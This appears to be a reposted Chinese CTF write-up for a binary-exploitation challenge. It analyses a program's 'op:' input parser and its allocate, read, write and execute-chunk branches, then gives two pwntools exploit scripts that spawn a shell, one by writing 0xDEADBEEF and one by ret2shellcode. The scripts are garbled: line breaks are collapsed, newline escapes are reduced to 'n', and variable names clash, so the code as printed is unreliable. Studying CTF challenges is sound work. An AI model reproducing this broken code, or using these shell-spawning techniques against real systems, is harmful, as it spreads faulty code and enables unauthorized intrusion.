罕见的有保护没有都开。
输入是input
sb是第一个:
:后面的第一个事sc
sc后面第一个回车是sd
sd后面第一个又是input
E0存放着input
E8放着sc
所以其实也就是回车为分界,一组一个回车。
:又将每一组分开,分别存放在E0,E8。
有个strcasecmp函数
头文件:#include <string.h>
定义函数:int strcasecmp (const char *s1, const char *s2);
函数说明:strcasecmp()用来比较参数s1 和s2 字符串,比较时会自动忽略大小写的差异。
返回值:若参数s1 和s2 字符串相同则返回0。s1 长度大于s2 长度则返回大于0 的值,s1 长度若小于s2 长度则返回小于0 的值。
然后最多重复五轮,就出循环了。
根据v7的不同的值进入不同的函数。
1
假如6020d0的空间里面的字符串,就可以拿到shell。
咋申请不知道
2
v9、v10控制在那个空间的哪里开始读,读多少。
3
这个又是写。
当都不是的时候还有一个分支。
这直接会执行写在那个chunk的函数。
1、2、3就是申请,读写。
整体思路比较明确,就是通过上面的while循环控制参数,跳出循环可以两个回车,或者五个填满,我们直接两个回车就好。
所以两个思路,两份wp,在比赛的时候可以两个都打一下,可能别人只补了一个洞。
第一种
我们就只要控制它申请一块空间写入DEADBEAF,然后1就行。
exp
from pwn import *context.log_level = 'debug'r = process("./1")r.sendafter('>', 'op:2n+:0nn:4nn')
r.sendafter('ready?', p32(0xDEADBEEF))
r.sendafter('>', 'op:1n+:0nn:4nn')r.interactive()
第二种就是ret2shellcode了
from pwn import *context.log_level = 'debug'
context.arch = 'amd64'
context.os = "linux"p = process("./1")
shellcode = asm(shellcraft.sh())sendafter('>', 'op:2n+:0nn:'+str(len(shellcode))+'nn')
sendafter('ready?', shellcode)
sendafter('>', 'op:4n+:0nn:4nn')r.interactive()
本文发布于:2024-01-31 21:19:53,感谢您对本站的认可!
本文链接:https://www.4u4v.net/it/170670719431428.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
留言与评论(共有 0 条评论) |